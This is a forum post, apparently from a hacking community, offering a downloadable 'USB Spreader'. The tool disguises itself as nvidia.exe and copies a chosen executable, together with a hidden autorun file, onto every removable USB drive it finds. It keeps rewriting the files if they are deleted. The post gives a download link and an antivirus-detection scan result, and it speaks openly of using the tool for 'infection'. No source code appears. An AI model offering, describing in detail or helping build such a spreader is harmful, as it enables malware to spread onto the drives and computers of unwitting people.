Thread: [USB Spreader \(to copy a file from local to usb disks\)](#)

jeiceei - December 22, 2013, 12:26 pm

Hello, i don't know if it worth to share but it may be useful for some people. I made it for myself for a one time infection on my pc with some known code.

It has no GUI, and works as nvidia.exe, you put the file that you want to spread it to the C:\ main folder and rename it igfx.exe. Then run the spreader and it will scan for the removable usb drives till you close it via taskmanager.

And when finds the removable disks, it will copy to specified file to the usb removable disks, and creates an autorun file with hidden attributes for both files.

Unless you close it, will scan forever and if the files deleted from USB disk's, will write them again.

I'm not sharing the source code and its not obfuscated for skids who want to get source code, you have to get yourself.

Download:

<http://ge.tt/api/1/files/8lc4MpA1/0/blob?download>

Virus scan:

[http://scan4you.net/result.php?id=efe6e\\_8o35jb](http://scan4you.net/result.php?id=efe6e_8o35jb)

?

Because of it has no GUI. You can't select the file that you want to spread to the usb disks, you simply put the file into C:\ directory and run the program. And it drops the file + autorun file to detected usb disks, it's simple, as I mentioned.

If you have any doubts, you could simply run it in a sandbox, it only has one function, pick the igfx.exe and write into usb disks with an autorun file.
